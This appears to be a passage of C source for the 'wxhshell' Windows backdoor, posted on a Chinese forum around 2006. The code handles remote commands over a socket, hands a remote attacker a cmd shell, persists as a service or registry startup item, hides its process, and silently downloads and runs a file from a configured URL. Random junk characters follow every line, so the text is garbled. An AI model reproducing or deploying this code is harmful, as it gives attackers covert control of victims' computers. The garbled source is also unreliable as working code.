  // 帮助 dM.f]-g  
  case '?': { (' (K9@}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GhAlx/K  
    break; N@4w! HpJ  
  } B&M%I:i  
  // 安装 SBu"3ym  
  case 'i': { 4!{KWL`A  
    if(Install()) Ot0ap$&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TIqtF&@o4  
    else /$Ir5=B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I.(, hFx;  
    break; l K{hVqpt  
    } olB.*#gA  
  // 卸载 o+iiST JEe  
  case 'r': { 7DogM".}~Q  
    if(Uninstall()) 5+4IN5o]=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %@J.{@>  
    else LG9+GszX 2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VcE:G#]5  
    break; JJ-( Sl  
    } UkwP  
  // 显示 wxhshell 所在路径 d UE,U=  
  case 'p': { .<0ye_S'y  
    char svExeFile[MAX_PATH]; 98c(<  
    strcpy(svExeFile,"\n\r"); =`oCLsz=  
      strcat(svExeFile,ExeFile); )b L'[h  
        send(wsh,svExeFile,strlen(svExeFile),0); 0@0w+&*"@  
    break; 4&lv6`G `  
    } D(op)]8  
  // 重启 GRIti9GD  
  case 'b': { [T4J{y64Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )2KF}{  
    if(Boot(REBOOT)) S&5&];Ag  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H\"sgoJ  
    else { Wx%H%FeK  
    closesocket(wsh); kOrZv,qFG[  
    ExitThread(0); _#E0g'3  
    } {GT*ZU*  
    break; lWk>z; d  
    } \##zR_%  
  // 关机 BN5[,J  
  case 'd': { %bn jgy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h|9L5  
    if(Boot(SHUTDOWN))  R Z?jJm$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \[i1JG  
    else {  `,*3[  
    closesocket(wsh); m]0;"jeL  
    ExitThread(0); VR8-&N  
    } ;W )Y OT  
    break; ij`w} V  
    } MTh<|$   
  // 获取shell A0s ZOCky  
  case 's': { ~8Fk(E_  
    CmdShell(wsh); =!A_^;NQf  
    closesocket(wsh); %g$o/A$  
    ExitThread(0); ^$jb7HMObI  
    break; ./Zk`-OBT  
  } Lnl(2xD  
  // 退出 :K,i\  
  case 'x': { @l5"nBs<_:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (UD@q>c  
    CloseIt(wsh); k/_ 59@)  
    break; dh iuI|?@  
    } E?f-wQF  
  // 离开 l}|%5.5-  
  case 'q': { @+2=g WH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !X#OOqPr=  
    closesocket(wsh); !;v|'I  
    WSACleanup(); m4Qh%}9%  
    exit(1); <8&au(I,vB  
    break; X=&ET)8-Y  
        } `UyG_;  
  } '3tCH)s  
  } FIhk@TKa  
!sP {gi#=  
  // 提示信息 wH&!W~M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *I.f1lz%*  
} k@J&IJ  
  } >z>!Luw  
'3fu  
  return; s?}e^/"v  
} H[$"+&q  
xwq (N_  
// shell模块句柄 L|7R9+ZG  
int CmdShell(SOCKET sock) ]y '>=a|T  
{ ^A/k)x6  
STARTUPINFO si; g3/W=~r  
ZeroMemory(&si,sizeof(si)); 83\pZ1>)_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3z?> j]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B%b4v  
PROCESS_INFORMATION ProcessInfo; u'DRN,h+  
char cmdline[]="cmd"; D?_Zl;bQ'^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }@+0/W?\.  
  return 0; YnAm{YyI  
} 5coyr`7mP  
VA_PvL.9  
// 自身启动模式 }!r|1$,kL  
int StartFromService(void) <{cQM$ #  
{ \'D0'\:vz  
typedef struct !CT5!5T  
{ Qd$nH8EDY  
  DWORD ExitStatus; Rtl"Ub@HV  
  DWORD PebBaseAddress; =s2*H8]  
  DWORD AffinityMask; osAd1<EIC  
  DWORD BasePriority; f}f9@>.  
  ULONG UniqueProcessId; sIGMA$EK  
  ULONG InheritedFromUniqueProcessId; S`0(*A[W*  
}   PROCESS_BASIC_INFORMATION; Jhhb7uU+  
7,o7Cf2z  
PROCNTQSIP NtQueryInformationProcess; `?_Q5lp/s  
9}<ile7^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <0&*9ZeD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xF'EiX~  
q dBrQC  
  HANDLE             hProcess; Yujiqi]J;  
  PROCESS_BASIC_INFORMATION pbi; IueFx u  
)23H1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IY\5@PVZ  
  if(NULL == hInst ) return 0; "(~^w=d:$  
cf20.F{<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7' V@+5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u0c1:Uv#~e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _op}1   
.jE{3^  
  if (!NtQueryInformationProcess) return 0; U$ElV]N  
k"zv~`i'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )U:m:cr<  
  if(!hProcess) return 0; 97C]+2R%^  
u?(d gJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qi D@'Va\  
k2tF}  
  CloseHandle(hProcess); P* BmHz4KL  
)lqAD+9Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k)=s>&hl  
if(hProcess==NULL) return 0; 3ym',q  
9 -a0:bP  
HMODULE hMod; C1n>M}b  
char procName[255]; Hd ={CFip  
unsigned long cbNeeded; A[{yCn`tM  
 {Gk1vcq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZG8DIV\D7  
D.u{~  
  CloseHandle(hProcess); mL{6L?  
KBc1{adDx@  
if(strstr(procName,"services")) return 1; // 以服务启动 )g%d:xI  
`e&Suyf4B  
  return 0; // 注册表启动 G}raA%  
} Z0", !6nS  
L^?qOylu  
// 主模块 +lcbi  
int StartWxhshell(LPSTR lpCmdLine) 4p;`C  
{ -- 95Jz  
  SOCKET wsl; qt"m  
BOOL val=TRUE; MH\dC9%p  
  int port=0; \V~eVf;~  
  struct sockaddr_in door; Moza".fiN  
"`e{/7I  
  if(wscfg.ws_autoins) Install(); 2-EIE4ds  
5e^ChK0Q  
port=atoi(lpCmdLine); D'Df JwA  
v^*K:#<Q!  
if(port<=0) port=wscfg.ws_port;  >Abdd  
<<5(0#y#  
  WSADATA data; U$A]8NZ$S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^k">A:E2  
:OT0yA=U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d^ 8ZeC#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u `6:5k  
  door.sin_family = AF_INET; !z3jTv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /7F:T[  
  door.sin_port = htons(port); X5$Iyis  
xY(*.T9K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6?J i7F  
closesocket(wsl); @K !T,U  
return 1; >} i  E(  
} &B1WtW  
bK&+5t&  
  if(listen(wsl,2) == INVALID_SOCKET) { n;Vs_u/Nx  
closesocket(wsl); "]Xc`3SM  
return 1; \Uq(Zga4)  
} Ai3*QX  
  Wxhshell(wsl); MAPGJ"?  
  WSACleanup(); lX4 x*  
"@0]G<H  
return 0; +iRh  
f 6>b|k~  
} JL{VD /f  
Lk}J8 V^2  
// 以NT服务方式启动 7~.9=I'A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V {ddr:]4  
{ u\;C;I-? '  
DWORD   status = 0; YUy0!`!`  
  DWORD   specificError = 0xfffffff; F{;((VboN  
+VOK%8,p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BUXpC xQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c 3)jccWTc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R!gEwTk  
  serviceStatus.dwWin32ExitCode     = 0; LFRlzz;  
  serviceStatus.dwServiceSpecificExitCode = 0; j'"J%e]  
  serviceStatus.dwCheckPoint       = 0; JU&c.p /  
  serviceStatus.dwWaitHint       = 0; <6 Uf.u`  
\"OG6G_>$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Btn]}8K  
  if (hServiceStatusHandle==0) return; ; )@~  
_F|Ek;y%  
status = GetLastError(); (gWm,fI RZ  
  if (status!=NO_ERROR) 1^JS Dd  
{ cU!vsdR3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [5Mr@f4I  
    serviceStatus.dwCheckPoint       = 0; ~U&AI1t+J  
    serviceStatus.dwWaitHint       = 0; [?N~s:}  
    serviceStatus.dwWin32ExitCode     = status; Cj lk  
    serviceStatus.dwServiceSpecificExitCode = specificError; ar+9\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x7<K<k;s  
    return; M gi,$H  
  } @Z:l62l=bE  
6A+nS=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mtcw#D  
  serviceStatus.dwCheckPoint       = 0; T!)(Dv8@F  
  serviceStatus.dwWaitHint       = 0; {q^[a-h>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -k"/X8  
} P8/0H(,  
'3^'B0 3  
// 处理NT服务事件,比如:启动、停止 *_\_'@1|J)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oV78Hq6  
{ >e5 qv(y]  
switch(fdwControl) U0P~  
{ G mA< g  
case SERVICE_CONTROL_STOP: \bvfEP  
  serviceStatus.dwWin32ExitCode = 0; 'c$+sp ?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %YqEzlzF  
  serviceStatus.dwCheckPoint   = 0; @?]RBX?a  
  serviceStatus.dwWaitHint     = 0; A;?|& `f  
  { &`2)V;t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8$Y9ORs4  
  } $X,D(  
  return; (V2fRv  
case SERVICE_CONTROL_PAUSE: f x+/C8GK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iSs:oH3l  
  break; ri-b=|h2j  
case SERVICE_CONTROL_CONTINUE: 1\I}2;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q9s=~d7  
  break; Jij*x>K>y  
case SERVICE_CONTROL_INTERROGATE: ;vjOUn[E  
  break; V1B5w_^>h'  
}; p9{mS7R9T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >(t6.=  
} tf`^v6m%]  
ds[|   
// 标准应用程序主函数 qF;|bF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9V*qQS5<p  
{ Se =`N  
*VxgARIL  
// 获取操作系统版本 %6f*{G w  
OsIsNt=GetOsVer(); /aZ`[m2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I^$fMdT  
smo~7;  
  // 从命令行安装 bY~pc\V:`w  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'E""amIJ  
oe-\ozJ0  
  // 下载执行文件 0oIe> r  
if(wscfg.ws_downexe) { {;6`_-As%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &6nWzF  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~oY^;/ j  
} \z(gqkc 6  
\(2sW^fY  
if(!OsIsNt) { sD#.Oq4&]y  
// 如果时win9x,隐藏进程并且设置为注册表启动 oW6XF-yM  
HideProc(); YS"=yye 3e  
StartWxhshell(lpCmdLine); P71Lqy)5}A  
} "S?z@ i(K^  
else WNrk}LFof  
  if(StartFromService()) >e$PP8&i_T  
  // 以服务方式启动 TAW/zpps$  
  StartServiceCtrlDispatcher(DispatchTable); t;\Y{`  
else 7WZ+T"O{I  
  // 普通方式启动 ePo}y])2  
  StartWxhshell(lpCmdLine); { 9q4)R}G  
##"HF  
return 0; Oxd]y1  
}
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只看该作者 1 发表于: 2006-10-10
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